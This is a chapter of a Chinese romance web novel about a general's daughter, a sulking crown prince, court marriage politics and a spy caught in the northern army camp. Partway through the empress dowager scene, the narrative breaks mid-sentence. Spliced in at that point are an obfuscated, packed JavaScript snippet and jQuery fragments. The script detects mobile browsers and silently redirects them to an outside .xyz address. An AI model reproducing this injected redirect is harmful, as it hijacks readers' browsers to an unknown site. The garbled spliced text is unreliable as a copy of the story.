13. 阴谋

作品:《鹤归春色

    顾春迟下了春满楼后,径直走向和沈迎约好的地方,


    见她来,沈迎举着花灯唤她:


    “春迟,这里。”


    顾春迟见她这般兴奋,笑着问:


    “还要逛吗?”


    “不要了,”


    沈迎直直摇头,京都的灯会远不如北境的灯会有意思,


    “回府吧,你明日不是还要去陪那小公主读书嘛,走吧。”


    回府的路上,沈迎兴奋地说起在北境的灯会,


    那里的灯会并不像京都的灯会是为了祭花神,


    游戏也只有猜灯谜赢花灯;


    北境的灯会多是祈求风调雨顺、祈求顺遂安康、祈求再无战事,


    游戏种类也要比京都的更丰富、更刺激,


    有叶子戏、空竹、射覆、九连环……


    “春迟,你还记得小时候的事吗?”


    沈迎突然开口,这番话倒是将顾春迟问住了,


    “嗯......确实是记不太清了。”


    顾春迟仰着头一副沉思的模样,可是关于年幼时的记忆,


    她记的并不算多。


    十年前母亲和兄长亡故后,她发了场高烧,很多幼时的记忆都变得模糊不清了,


    尽管年幼的事记得不清,可有些亲眼见证的画面却又顽强地留在她脑海中,


    只等某个时刻,会跳出来告诉她事情的真相,


    比如阿娘离开北境时说等回来时给她带最好的生辰礼;


    比如阿娘说会带她去游历大好河山;


    比如阿兄离开北境时说给她带长宜姐姐的书信和礼物;


    比如阿兄说等再过些时日她就能唤长宜姐姐为嫂嫂了;


    再比如,阿爹眼中藏不住的愁绪……


    只是当时她年纪尚小,看不懂他望向京都的眼眸中是掺杂着什么样的思念和哀愁。


    不知不觉间思绪渐渐行远,直到沈迎再次唤她,


    她才惊觉原来已经快走到了顾府,


    只是......


    顾府门前却有两方人马对峙,


    一方自然是以顾雁为首的顾家护卫,


    而另一方……


    顾春迟将目光放在那辆奢华低调的马车上,


    直到看到那显眼的东宫标志才知道是萧承川,


    本不想搭理,可他却下了马车,直直望向她。


    顾春迟犹豫了片刻,也只得将他请到府内。


    *


    顾府正堂,


    萧承川有些哀怨地盯了她一眼,却又不悦地把头低了下去,好似......


    好似被抛弃的小媳妇。


    只是堂堂一国储君,为何会做出这般表情?


    顾春迟不明白,沈迎也不明白,


    只是沈迎借着端茶送水的契机,蹲着给顾春迟沏茶,眼睛却在询问自己心下的疑惑:


    “这是怎么了?太子怎么不说话只顾着喝茶,你也是,你怎么不说话?”


    沈迎的眼睛挤得就剩一条缝了,也没见顾春迟回应,


    她努力忽视沈迎那急切的眼神,因为她也在好奇这萧承川怎么这般作态。


    正堂中的气氛凝固了许久,


    眼见着他不说话,顾春迟也没能压住心中的不耐,淡淡开口问:


    “太子殿下怎么会来顾府?可是有要事?”


    见顾春迟淡然问道,萧承川敛眸哑言,面上多了几分神伤和无措,


    他低头一言不发,半晌才听他闷闷道:


    “无事......便不能找你吗?”


    闻言,顾春迟却是一言不发,仿若对面的他说的不是缱绻情话。


    他猛地抬眼,见她面上仍然是一片冷然,面对他的话依旧不为所动,


    他却又垂眸,视线桌上茶杯中不断上升的热气上停留了许久,声音依旧哀怨:


    “今日母后找孤,商量给孤选正妃的事情,”


    闻言,顾春迟点了点头,这事她听萧鹤川说过,


    对于这件事她并不意外,一国储君,选正妃一事当然要慎重,


    只是,


    关她何事?


    萧承川继续闷闷道:


    “母后说,孤不能娶你。”


    闻言,顾春迟忍不住蹙眉,她抬眼望向萧承川,冷声道:


    “太子殿下,我何时说过我要嫁你?”


    闻言萧承川一愣,


    他抬眼轻笑一声,他的眼中再无往日的情愫,只有被打击到的震惊与惊惧:


    “你不嫁孤,那你想嫁谁?莫非你真的要嫁给老二?!”


    “谁?”


    顾春迟一脸懵逼,停顿片刻,继续道,


    “我什么时候说要嫁给萧鹤川了?”


    见她的模样,萧承川并不相信她真的什么都不知道,认为她在演戏,自讽道:


    “母后说,皇祖母答应过你阿娘,你的婚嫁自由,但却不能嫁入皇家,”


    说罢,他停顿了片刻,眼神犀利地望向顾春迟,


    “你便是心悦老二,你也嫁不了他!”


    说罢,他起身,甩袖离去。


    徒留屋内众人一头雾水,


    “春迟,这太子该不会吃错药了吧......”


    沈迎目睹了全程,见萧承川气急败坏离去,视线在他的背影上停顿了片刻,而后又停在端坐着依旧风轻云淡的顾春迟身上,


    没忍住坐在她对面,幸灾乐祸道,


    “春迟,我此刻倒是有些心疼你了,面对这样发癫的太子,你的处境不容易啊。”


    说罢,她好似又想起什么似的,庆幸道:


    “幸好太子脑子不太行,不然咱们的计划恐怕不容易啊。”


    太子真的蠢笨吗?


    并不见得,


    他惯会伪装。


    顾春迟却是没说话,将杯中的茶水一饮而尽后,叮嘱道:


    “夜已深,早些歇息吧。”


    *


    翌日,


    慈宁宫中,


    太后、萧承川、萧清川和顾春迟四人对坐,气氛却有着说不清的尴尬,


    萧清川的视线落在自己右手边的太后身上,却见自家皇祖母一脸淡然。


    “今日真是巧了,太子来给哀家请安,昭阳也带着春迟来了,”


    太后笑着,目光却放在萧承川身上,心下有着自己的打量。


    萧承川闻言却是不动如山地拿起茶盏喝茶,太后看了看他,又将目光放在顾春迟身上,问道:


    “春迟也到了该成婚的年纪了,京中各个官员家也有不少适龄的未婚子弟,你有时间多和他们交流交流,考察一番他们的人品修养,若有心仪的,只管说来,哀家让皇帝给你们赐婚。”


    闻言,萧承川的笑意不减,眼神却是直勾勾地盯着顾春迟,


    顾春迟浅浅笑着,却是没反驳,但也没应允:


    “谢太后挂心。”


    萧清川却是一言不发,只是安静坐着倾听。


    太后笑着,却话锋一转,望向萧承川:


    “太子近日也应当多多挂心半月后的科考,此事事关重大,可不能出任何差错。”


    萧承川点头示意道:


    “是,皇祖母,近日领父皇之命,已经在京中为读


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040875|162521||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书人设了休息学习的场所,已经到达京都的考生在登记中了。”


    “嗯,那就行。”


    太后满意地点了点头,却又叮嘱,


    ”你身为太子,自当承担起这般责任,倒也不要怪你父皇心狠,将诸多事务都交给你,这都是在为你的以后铺路。”


    “是,孙儿记住了。”


    萧承川点了点头。


    却听那太后又说:


    “老二呢?他又是去和那些文人吟诗作赋,还是又去喝花酒了?”


    “这……”


    萧承川一脸为难,片刻后才说,


    “孙儿不知道,二弟许是有要事吧。”


    “他能有什么要事?无非就是听曲赏月,关于政事,次次都是敷衍了事,”


    提起萧鹤川,太后似乎怨言颇多,


    “还好当时你父皇没封他为太子,若是将昭国交到这样的皇帝手上,怕不是江山不保啊。”


    *


    北境,


    军营,


    两名顾家军押着一个百姓装扮的中年男人进帐,那男人一见顾侯就跪下了,


    自沙场尸山血海而出的杀伐气势任谁见了都会腿软。


    “顾……顾将军,我……”


    那男人声音颤抖,眼睛不敢看向高台上端坐的人。


    顾侯却是沉声道,让人听不出他的情绪:


    “我在这北境也有十几年了,为了北境百姓的安危,我安排士兵整日巡逻,若有难处,顾家也会出手,我倒是未曾想过,你竟然会选择背叛北境。”


    他顿了顿,声音冷然,


    “你可知道你做的这些事会害了北境,会害了多少士兵和百姓吗?”


    一听自己犯的错会导致这般严重后果,那男人此刻也有些后悔,他慌乱道:


    “将军……我……我不知道会这样,我真的知道错了……”


    “现在不是错不错的原因,你到底还偷了什么给那人了,”


    顾侯厉声道,


    “那人到底是谁?!”


    那男人眼眶泛红,重重磕头认错,


    “我……我就将营中的大致情况告诉他,没偷别的东西,我……我不知道他是谁,可是他抓了我儿子,逼我为他做事,否则就……”


    他说着,又狠狠磕头认错,


    “将军,求您救救我儿子吧。”


    “荒唐,你若早些说他抓了你儿子,我又怎么会不出手相助?!”


    顾侯虽气急,却还是冷静问他,


    “你是如何和那人联系的,或者,你知道那人在哪里吗?”


    那人止住磕头的动作,直直跪着,抬头望着他:


    “我不知道,但是我们每次会面是在鹿山上。”


    鹿山距营帐不过十里,


    “鹿山?!”


    顾侯眯起眼睛,又问,


    “他都是怎么约你见面的?”


    “每隔三日,第三日的申时,在鹿山碰面。明日……明日便是第三日。”


    那男人说完后又重重磕头,


    “我知道我犯了天大的错,不敢奢求将军原谅,还请将军能救下我儿子。”


    顾侯眼神复杂,却让士兵将他带下。


    士兵领命下去后,顾侯又唤来自己的几个副将:


    “京都那位看来坐不住了,明日你们带一队士兵申时去鹿山,让刚刚那人去交流,你们躲在暗处,争取把京中的探子抓住,北境的信息绝不能传到京都,若有必要,将那些探子杀了!”


    几个副将知道此事非同小可,郑当即重领命:


    “是,将军,定不辱使命!”